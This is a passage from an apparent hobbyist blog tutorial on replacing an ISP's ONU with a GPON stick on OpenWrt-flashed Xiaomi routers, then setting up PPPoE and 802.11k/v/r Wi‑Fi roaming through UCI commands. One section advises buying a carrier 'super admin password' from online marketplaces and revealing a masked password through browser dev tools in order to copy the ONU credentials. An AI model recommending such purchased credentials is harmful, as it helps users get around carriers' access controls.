&lt;h3&gt;2. Wi-Fi &amp;amp; Roaming&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Abbreviation&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Full Name&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Description / Notes&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Access Point&lt;/td&gt;
&lt;td&gt;Access point. The role of the main router or satellite router emitting Wi‑Fi signals.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Service Set Identifier&lt;/td&gt;
&lt;td&gt;Service set identifier. The Wi‑Fi name seen by users.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic Service Set&lt;/td&gt;
&lt;td&gt;Basic service set. The set consisting of a single AP and the devices connected within its coverage.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BSSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic Service Set Identifier&lt;/td&gt;
&lt;td&gt;Basic service set identifier. Usually the MAC address of the AP&apos;s wireless interface.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ESS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Extended Service Set&lt;/td&gt;
&lt;td&gt;Extended service set. A unified network of multiple BSSs (same SSID), i.e., the roaming environment.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RRM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Radio Resource Management&lt;/td&gt;
&lt;td&gt;Radio Resource Management (802.11k). Used to obtain neighbor reports of surrounding APs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WNM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wireless Network Management&lt;/td&gt;
&lt;td&gt;Wireless Network Management (802.11v). Allows the AP to send roaming guidance suggestions to clients.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fast Transition&lt;/td&gt;
&lt;td&gt;Fast Transition (802.11r). Reduces the handshake and authentication time when a client switches APs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Distribution System&lt;/td&gt;
&lt;td&gt;Distribution system. The wired network backbone; &lt;code&gt;ft_over_ds&lt;/code&gt; means exchanging roaming information via the wired backbone.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NAS ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Network Access Server ID&lt;/td&gt;
&lt;td&gt;Network access server identifier. Used to uniquely identify a BSS node within a roaming domain.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SAE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Simultaneous Authentication of Equals&lt;/td&gt;
&lt;td&gt;Simultaneous Authentication of Equals. WPA3 key exchange protocol, more secure than WPA2.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PSK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pre-Shared Key&lt;/td&gt;
&lt;td&gt;Pre-shared key. The most common password-based authentication method in home Wi‑Fi.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;3. Network Protocols &amp;amp; System Settings&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;Abbreviation&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Full Name&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;Description / Notes&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PPPoE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Point-to-Point Protocol over Ethernet&lt;/td&gt;
&lt;td&gt;Point-to-Point Protocol over Ethernet. The broadband dial-up protocol we commonly use.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VLAN / PVID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Virtual Local Area Network / Port VLAN ID&lt;/td&gt;
&lt;td&gt;Virtual LAN / Port VLAN ID. Used to isolate network traffic; required for ONU dial-up.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SFP+&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enhanced Small Form-factor Pluggable&lt;/td&gt;
&lt;td&gt;Enhanced small form-factor pluggable. Supports transmission rates up to 10 Gbps.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UCI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unified Configuration Interface&lt;/td&gt;
&lt;td&gt;Unified Configuration Interface. The underlying command-line configuration system of OpenWrt/QWRT.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LuCI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lua Configuration Interface&lt;/td&gt;
&lt;td&gt;Lua Configuration Interface. The web-based graphical configuration interface of OpenWrt/QWRT.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DHCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dynamic Host Configuration Protocol&lt;/td&gt;
&lt;td&gt;Dynamic Host Configuration Protocol. Used to automatically assign IP addresses to devices on the local network.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Layer 2&lt;/td&gt;
&lt;td&gt;Layer 2. In the article, &quot;L2 segment&quot; refers to a local network within the same broadcast domain.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Materials&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Xiaomi BE10000 Router&lt;/li&gt;
&lt;li&gt;Xiaomi AX3600 Router&lt;/li&gt;
&lt;li&gt;G-010S-A NOKIA GPON Stick
&lt;ul&gt;
&lt;li&gt;Heatsink&lt;/li&gt;
&lt;li&gt;SC/APC to SC/UPC fiber patch cable&lt;/li&gt;
&lt;li&gt;SC/UPC fiber optic adapter&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Flashing resources (you&apos;ll need to find these yourself; redistributing others&apos; materials isn&apos;t great. You can refer to the firmware linked in the flashing tutorial below.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Regarding that SC/APC to SC/UPC fiber cable — these terms describe the fiber connector specifications. Normal home FTTH typically uses UPC, which has a blue connector, whereas the GPON sticks we buy generally use an APC connector, which is green. The main difference lies in the shape of the ferrule end face: UPC has a slightly convex end face, while APC has an angled end face. If the OLT downstream optical power is strong enough, you could directly connect a UPC connector to the GPON stick and it might still work, but you&apos;ll suffer about 3 dB of additional optical loss. Therefore, I decided to play it safe.
&lt;img src=&quot;./images/2026/07/2983381998.webp&quot; alt=&quot;v2-a92cdb8ad53d27ea0f38b708a5ee4dd7_1440w.webp&quot; /&gt;
&lt;em&gt;Image source: &lt;a href=&quot;https://zhuanlan.zhihu.com/p/1928375679336051117&quot;&gt;Fiber Connector PC, UPC, APC Main Differences - Zhihu&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;GPON sticks are notorious for running hot, so remember to attach a heatsink:
&lt;img src=&quot;./images/2026/07/1510184915.jpeg&quot; alt=&quot;5a5dd1090c1ee9b9c20103938f72b852_compressed.jpeg&quot; /&gt;
After attaching it, the temperature I saw in the ONU&apos;s management interface was around 60 ℃.&lt;/p&gt;
&lt;h2&gt;Flashing the BE10000&lt;/h2&gt;
&lt;p&gt;I won&apos;t go into detail here. Just follow &lt;a href=&quot;https://www.right.com.cn/forum/thread-8450774-1-1.html&quot;&gt;【小米万兆路由器刷OpenWrt】小米BE10000|SSH解锁固化|UBoot|iStore商店|多拨|-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The firmware has some known bugs, such as Wi‑Fi settings made through the frontend interface not being written correctly, which can prevent the entire networking subsystem from starting, leading to loss of connectivity and eventually triggering an automatic fallback. Therefore, some of the modifications to the main router described below are implemented using UCI commands.&lt;/p&gt;
&lt;h2&gt;Obtaining the Carrier ONU Configuration&lt;/h2&gt;
&lt;p&gt;There&apos;s no universal guide for this step... Go to Xianyu or Taobao and purchase a super admin password. Record the &lt;code&gt;LOID&lt;/code&gt;, &lt;code&gt;SN&lt;/code&gt;, &lt;code&gt;LOID CheckCode (Password)&lt;/code&gt;, &lt;code&gt;PLOAM Password&lt;/code&gt;, and the &lt;code&gt;VLAN&lt;/code&gt; ID from the Internet configuration section. In some regions you may also need to record the upstream MAC address.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;LOID&lt;/code&gt; and &lt;code&gt;LOID CheckCode&lt;/code&gt;&lt;/em&gt;:
&lt;img src=&quot;./images/2026/07/2496619025.png&quot; alt=&quot;Pasted image 20260707214127.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;PLOAM Password&lt;/code&gt;&lt;/em&gt;:
&lt;img src=&quot;./images/2026/07/1848776621.png&quot; alt=&quot;Pasted image 20260707214224.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;VLAN&lt;/code&gt; ID&lt;/em&gt;:
&lt;img src=&quot;./images/2026/07/815648919.png&quot; alt=&quot;Pasted image 20260707214048.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Generally speaking, carriers either use &lt;code&gt;LOID&lt;/code&gt;, possibly together with a &lt;code&gt;LOID CheckCode (Password)&lt;/code&gt;, &lt;strong&gt;or&lt;/strong&gt; they might use the &lt;code&gt;PLOAM Password&lt;/code&gt;. Determine which applies based on your own situation.&lt;/p&gt;
&lt;p&gt;In my case, with China Unicom Anhui, I only needed to record the &lt;code&gt;SN&lt;/code&gt;, &lt;code&gt;VLAN ID&lt;/code&gt;, and &lt;code&gt;LOID&lt;/code&gt; for it to work. (Because my Unicom ONU wouldn&apos;t let me log in, I used a China Mobile ONU for the screenshots xD)
Sometimes you don&apos;t even need the super admin password to get this information; certain ONUs (e.g., China Unicom Heilongjiang, Skyworth ONUs) provide these details even with a regular user account.&lt;/p&gt;
&lt;p&gt;At the same time, record the &lt;code&gt;PPPoE&lt;/code&gt; username and password:
&lt;img src=&quot;./images/2026/07/2528830296.png&quot; alt=&quot;Pasted image 20260707220138.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Typically, the username is public. On some ONUs you can use the F12 trick to remove the &lt;code&gt;password&lt;/code&gt; attribute and reveal the actual password, but some ONUs will only send back meaningless placeholder characters. In that case you can call the carrier to reset the password.&lt;/p&gt;
&lt;h2&gt;Configuring the GPON Stick&lt;/h2&gt;
&lt;p&gt;Insert the GPON Stick into the SFP+ port. If the Ethernet port LED does not light up, try going to &lt;code&gt;QWRT&lt;/code&gt; -&amp;gt; &lt;code&gt;Network&lt;/code&gt; -&amp;gt; &lt;code&gt;ECM Hardware Acceleration Settings&lt;/code&gt; and forcing the SFP1 and SFP2 interface speeds to &lt;code&gt;Force 2.5Gbps&lt;/code&gt;. (I wasn&apos;t sure which one corresponds to the current SFP slot, so I changed both.) Then Save &amp;amp; Apply, and you may need to reboot the router.&lt;/p&gt;
&lt;p&gt;The default &lt;code&gt;br-lan&lt;/code&gt; IP prefix should be &lt;code&gt;192.168.1.0/24&lt;/code&gt;. Keep it unchanged and access &lt;code&gt;192.168.1.10&lt;/code&gt; to open the GPON stick&apos;s management console:
&lt;img src=&quot;./images/2026/07/152199150.png&quot; alt=&quot;Pasted image 20260707220704.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Go to GPON ONU Settings and fill in the information we just recorded:
&lt;img src=&quot;./images/2026/07/1225072806.png&quot; alt=&quot;Pasted image 20260707220751.png&quot; /&gt;
&lt;em&gt;&lt;code&gt;LOID&lt;/code&gt; and &lt;code&gt;SN&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;And enable VLAN configuration:
&lt;img src=&quot;./images/2026/07/716394343.png&quot; alt=&quot;Pasted image 20260707220830.png&quot; /&gt;
Check &lt;strong&gt;Interoperability Compatibility Mode&lt;/strong&gt;, and fill in the VLAN ID under &lt;code&gt;PVID&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After saving you may need to reboot the GPON stick. Then go to the Status page. If you see the PON Authentication Status / PON Signal Status as O5, it means the GPON stick has completed registration and is working normally.
&lt;img src=&quot;./images/2026/07/1003313073.png&quot; alt=&quot;Pasted image 20260707221327.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Setting up PPPoE Dial-up&lt;/h2&gt;
&lt;p&gt;On the BE10000, the default WAN port is &lt;code&gt;eth4&lt;/code&gt;, while the SFP port is &lt;code&gt;eth5&lt;/code&gt;. Therefore, you need to switch the WAN interface from &lt;code&gt;eth4&lt;/code&gt; to &lt;code&gt;eth5&lt;/code&gt;. Go to &lt;code&gt;Network&lt;/code&gt; -&amp;gt; &lt;code&gt;Interfaces&lt;/code&gt; -&amp;gt; &lt;code&gt;Devices&lt;/code&gt;, find &lt;code&gt;br-lan&lt;/code&gt; and add &lt;code&gt;eth4&lt;/code&gt; to it, then remove &lt;code&gt;eth5&lt;/code&gt;. Next, go to the &lt;code&gt;Interfaces&lt;/code&gt; page, change the WAN network adapter to &lt;code&gt;eth5&lt;/code&gt;, and enter the PPPoE username and password you recorded earlier:
&lt;img src=&quot;./images/2026/07/1192459082.png&quot; alt=&quot;Pasted image 20260707222016.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After saving, you should see that PPPoE has successfully dialed and you can access the internet normally:
&lt;img src=&quot;./images/2026/07/2477795343.png&quot; alt=&quot;Pasted image 20260707222124.png&quot; /&gt;
(I changed the entire &lt;code&gt;br-lan&lt;/code&gt; subnet to &lt;code&gt;192.168.3.0/24&lt;/code&gt;; this step is not required.)&lt;/p&gt;
&lt;h2&gt;Modifying Basic Wi‑Fi Settings&lt;/h2&gt;
&lt;p&gt;Through testing I found that… modifying Wi‑Fi information directly via LuCI on the main router doesn&apos;t take effect properly (as mentioned above). Therefore, I modified the settings via UCI over SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ssid=&apos;[CENSORED]&apos;
uci set wireless.ath0.encryption=&apos;psk2+ccmp&apos;
uci set wireless.ath0.key=&apos;[CENSORED]&apos;

uci set wireless.ath1.ssid=&apos;[CENSORED]&apos;
uci set wireless.ath1.encryption=&apos;psk2+ccmp&apos;
uci set wireless.ath1.key=&apos;[CENSORED]&apos;

uci commit wireless
wifi reload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, SSID is the Wi‑Fi name, and the encryption value &lt;code&gt;psk2+ccmp&lt;/code&gt; stands for WPA2-PSK/AES, the commonly used WPA2-AES configuration.&lt;/p&gt;
&lt;p&gt;Although WPA3/SAE is more secure, in multi-AP + 802.11r roaming scenarios, WPA2-PSK + FT-PSK generally offers better compatibility. Some phones or IoT devices may experience connection failures, roaming failures, or slower switching when using combinations like WPA2/WPA3 Mixed, FT-SAE, PMF, etc.&lt;/p&gt;
&lt;p&gt;If maximum compatibility is the priority, it is recommended to use WPA2-PSK/AES for the primary SSID used for whole-home roaming, and ensure that the encryption method is consistent across both the main router and the satellite router.&lt;/p&gt;
&lt;p&gt;For the satellite router, since we want roaming, both Wi‑Fi networks must be on the same L2 segment. This requires disabling the satellite&apos;s DHCP server and configuring it as a device under the main router. Therefore, the following configuration steps apply to the satellite router:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Remove all other interfaces under Network -&amp;gt; Interfaces -&amp;gt; Interfaces, keeping only &lt;code&gt;br-lan&lt;/code&gt;:
&lt;img src=&quot;./images/2026/07/2432385054.png&quot; alt=&quot;Pasted image 20260708091953.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Under Network -&amp;gt; Interfaces -&amp;gt; Devices, add the &lt;code&gt;wan&lt;/code&gt; port to the &lt;code&gt;br-lan&lt;/code&gt; device:
&lt;img src=&quot;./images/2026/07/450292691.png&quot; alt=&quot;Pasted image 20260708092201.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Assign an IP address to the &lt;code&gt;br-lan&lt;/code&gt; device under Network -&amp;gt; Interfaces -&amp;gt; Devices:
&lt;img src=&quot;./images/2026/07/2374454072.png&quot; alt=&quot;Pasted image 20260708100224.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Make sure to include the subnet mask for the IPv4 address, and set the IPv4 gateway to the IP address of the main router.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Under Network -&amp;gt; Firewall -&amp;gt; General Settings, adjust the firewall rules to allow traffic.
&lt;img src=&quot;./images/2026/07/2660518185.png&quot; alt=&quot;Pasted image 20260708100628.png&quot; /&gt;
(btw, because I didn&apos;t want to bother with detailed rules and figured internal devices shouldn&apos;t be at much risk, I simply allowed everything. Please do not follow this if you have specific security needs xD)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the main router and satellite router are now on the same L2 broadcast domain, there should only be one DHCP server on the LAN: the main router. If the satellite&apos;s DHCP server is not turned off, clients might receive DHCP responses from both routers during connection or roaming, leading to incorrect gateways/DNS, or issues like &lt;code&gt;DHCPNAK wrong server-ID&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Symptoms of this problem may include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wi‑Fi has already switched to another AP, but network recovery is slow;&lt;/li&gt;
&lt;li&gt;Brief disconnection after roaming;&lt;/li&gt;
&lt;li&gt;Client reacquires an IP address;&lt;/li&gt;
&lt;li&gt;Occasional gateway/DNS anomalies;&lt;/li&gt;
&lt;li&gt;It looks like 802.11r isn&apos;t working, but the real culprit is the DHCP layer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;On the satellite router, run via SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set dhcp.lan.ignore=&apos;1&apos;
uci commit dhcp
/etc/init.d/dnsmasq restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the satellite router also has IPv6 RA / DHCPv6 enabled and you want the main router to handle all IPv6, you can also disable them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set dhcp.lan.ra=&apos;disabled&apos;
uci set dhcp.lan.dhcpv6=&apos;disabled&apos;
uci set dhcp.lan.ndp=&apos;disabled&apos;
uci commit dhcp
/etc/init.d/odhcpd restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After disabling, you can verify with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci show dhcp.lan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dhcp.lan.ignore=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s it.&lt;/p&gt;
&lt;p&gt;Note that the &lt;code&gt;dnsmasq&lt;/code&gt; process still running does &lt;strong&gt;not&lt;/strong&gt; mean the satellite is still handing out DHCP leases. As long as the generated configuration contains something like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;no-dhcp-interface=br-lan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;it means it will no longer provide DHCP service on the LAN / &lt;code&gt;br-lan&lt;/code&gt;. After saving and applying, you should be able to connect through the main router and access the satellite via the IP address you assigned.
(I couldn&apos;t find a clear option to disable the DHCP service in LuCI for this part, so I had GPT edit UCI directly via SSH.)&lt;/p&gt;
&lt;p&gt;In the satellite router&apos;s Network -&amp;gt; Wireless, configure the SSID interfaces to match the main router&apos;s settings:
&lt;img src=&quot;./images/2026/07/3231454320.png&quot; alt=&quot;Pasted image 20260708100918.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/07/2062283390.png&quot; alt=&quot;Pasted image 20260722234555.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At this point, both Wi‑Fi networks should connect successfully (albeit with the same SSID).&lt;/p&gt;
&lt;h2&gt;Configuring 802.11 k/v/r&lt;/h2&gt;
&lt;h3&gt;Main Router&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211k=&apos;1&apos;
uci set wireless.ath0.rrm_neighbor_report=&apos;1&apos;
uci set wireless.ath0.rrm_beacon_report=&apos;1&apos;
uci set wireless.ath0.ieee80211v=&apos;1&apos;
uci set wireless.ath0.time_advertisement=&apos;0&apos;
uci set wireless.ath0.wnm_sleep_mode=&apos;0&apos;
uci set wireless.ath0.bss_transition=&apos;1&apos;
uci set wireless.ath0.ieee80211r=&apos;1&apos;
uci set wireless.ath0.nasid=&apos;Master_2_4G&apos;
uci set wireless.ath0.mobility_domain=&apos;cafe&apos;
uci set wireless.ath0.reassociation_deadline=&apos;1000&apos;
uci set wireless.ath0.ft_over_ds=&apos;0&apos;
uci set wireless.ath0.ft_psk_generate_local=&apos;1&apos;

uci set wireless.ath1.ieee80211k=&apos;1&apos;
uci set wireless.ath1.rrm_neighbor_report=&apos;1&apos;
uci set wireless.ath1.rrm_beacon_report=&apos;1&apos;
uci set wireless.ath1.ieee80211v=&apos;1&apos;
uci set wireless.ath1.time_advertisement=&apos;0&apos;
uci set wireless.ath1.wnm_sleep_mode=&apos;0&apos;
uci set wireless.ath1.bss_transition=&apos;1&apos;
uci set wireless.ath1.ieee80211r=&apos;1&apos;
uci set wireless.ath1.nasid=&apos;Master_5G&apos;
uci set wireless.ath1.mobility_domain=&apos;cafe&apos;
uci set wireless.ath1.reassociation_deadline=&apos;1000&apos;
uci set wireless.ath1.ft_over_ds=&apos;0&apos;
uci set wireless.ath1.ft_psk_generate_local=&apos;1&apos;

uci commit wireless
wifi reload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It&apos;s important to note that &lt;strong&gt;802.11k/v/r does not mean the AP actively forces clients to roam&lt;/strong&gt;. The final roaming decision still rests with the client. The AP merely provides neighbor information, roaming suggestions, and fast reassociation capabilities via these protocols. Support for these protocols varies across different phones, computers, and IoT devices.&lt;/p&gt;
&lt;p&gt;The configuration above covers two wireless interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ath0&lt;/code&gt;: Main router 2.4G&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ath1&lt;/code&gt;: Main router 5G&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The configuration logic is identical for both interfaces; only the &lt;code&gt;nasid&lt;/code&gt; differs.&lt;/p&gt;
&lt;h4&gt;1. 802.11k: Radio Resource Measurement / Neighbor Report&lt;/h4&gt;
&lt;p&gt;Related configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211k=&apos;1&apos;
uci set wireless.ath0.rrm_neighbor_report=&apos;1&apos;
uci set wireless.ath0.rrm_beacon_report=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.1 &lt;code&gt;ieee80211k=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Enables &lt;strong&gt;802.11k Radio Resource Management&lt;/strong&gt;.
The main purpose of 802.11k is to allow the AP to provide information about surrounding APs to clients. Clients don&apos;t need to blindly scan all channels; they can use the neighbor list provided by the AP to find a suitable roaming target faster.&lt;/p&gt;
&lt;p&gt;Simple understanding:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;802.11k lets the client know &quot;what other APs with the same SSID are nearby and available to switch to.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Without 802.11k, clients usually need to scan channels themselves. Scanning takes time and can cause brief stutters.
When enabled, clients that support 802.11k can obtain candidate AP information more quickly.&lt;/p&gt;
&lt;h5&gt;1.2 &lt;code&gt;rrm_neighbor_report=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Enables &lt;strong&gt;Neighbor Report&lt;/strong&gt;.
This is the most commonly used and critical capability within 802.11k. The AP provides the client with information about neighboring BSSs, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Neighbor AP&apos;s BSSID&lt;/li&gt;
&lt;li&gt;Channel&lt;/li&gt;
&lt;li&gt;PHY type&lt;/li&gt;
&lt;li&gt;Whether it belongs to the same ESS&lt;/li&gt;
&lt;li&gt;Supported roaming capabilities&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Simple understanding:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This parameter allows the AP to tell the client: &quot;Here are the nearby APs, and these are the channels they are on.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is very important for multi-AP roaming because the client doesn&apos;t have to scan from channel 1 to channel 165; it can prioritize scanning the candidate channels suggested by the AP.&lt;/p&gt;
&lt;h5&gt;1.3 &lt;code&gt;rrm_beacon_report=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Enables &lt;strong&gt;Beacon Report&lt;/strong&gt; support.
Beacon Report allows the AP to request that the client report information about the beacons it has scanned. In other words, the client can tell the AP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Which APs it has seen&lt;/li&gt;
&lt;li&gt;Their signal strength&lt;/li&gt;
&lt;li&gt;Which channels they are on&lt;/li&gt;
&lt;li&gt;An overview of the current wireless environment&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Simple understanding:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Neighbor Report is the AP telling the client what&apos;s nearby; Beacon Report is the client telling the AP what it sees in return.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In a typical home network, &lt;code&gt;rrm_neighbor_report&lt;/code&gt; usually has a more immediate effect; &lt;code&gt;rrm_beacon_report&lt;/code&gt; is a supplementary capability — just enable it.&lt;/p&gt;
&lt;h4&gt;2. 802.11v: BSS Transition / Roaming Guidance&lt;/h4&gt;
&lt;p&gt;Related configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211v=&apos;1&apos;
uci set wireless.ath0.time_advertisement=&apos;0&apos;
uci set wireless.ath0.wnm_sleep_mode=&apos;0&apos;
uci set wireless.ath0.bss_transition=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2.1 &lt;code&gt;ieee80211v=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Enables &lt;strong&gt;802.11v Wireless Network Management&lt;/strong&gt;.
802.11v covers a broad range of functions. For home Wi‑Fi roaming, the most relevant is &lt;strong&gt;BSS Transition Management&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Simple understanding:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;802.11v allows the AP to send a request to the client saying, &quot;I suggest you switch to another AP.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Note that this is only a suggestion, not a command. The client can accept or decline. For instance, a client might still be connected to the main router but has physically moved close to the satellite router. The AP can use 802.11v to inform it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your signal to this AP is now relatively weak; you might consider switching to that nearby AP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Enabling 802.11v can improve the &quot;sticky client&quot; problem, but it does not guarantee that all devices will comply.&lt;/p&gt;
&lt;h5&gt;2.2 &lt;code&gt;bss_transition=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;Enables &lt;strong&gt;BSS Transition Management&lt;/strong&gt;. This is the most crucial roaming-related feature within 802.11v. Once enabled, the AP can send BSS Transition Management Requests to clients, typically containing a list of recommended target APs.&lt;/p&gt;
&lt;p&gt;Simple understanding:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ieee80211v&lt;/code&gt; is the master switch for 802.11v; &lt;code&gt;bss_transition&lt;/code&gt; enables the actual function used for roaming suggestions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If you enable &lt;code&gt;ieee80211v&lt;/code&gt; without &lt;code&gt;bss_transition&lt;/code&gt;, the roaming guidance effect may be incomplete.&lt;/p&gt;
&lt;h5&gt;2.3 &lt;code&gt;time_advertisement=&apos;0&apos;&lt;/code&gt;&lt;/h5&gt;
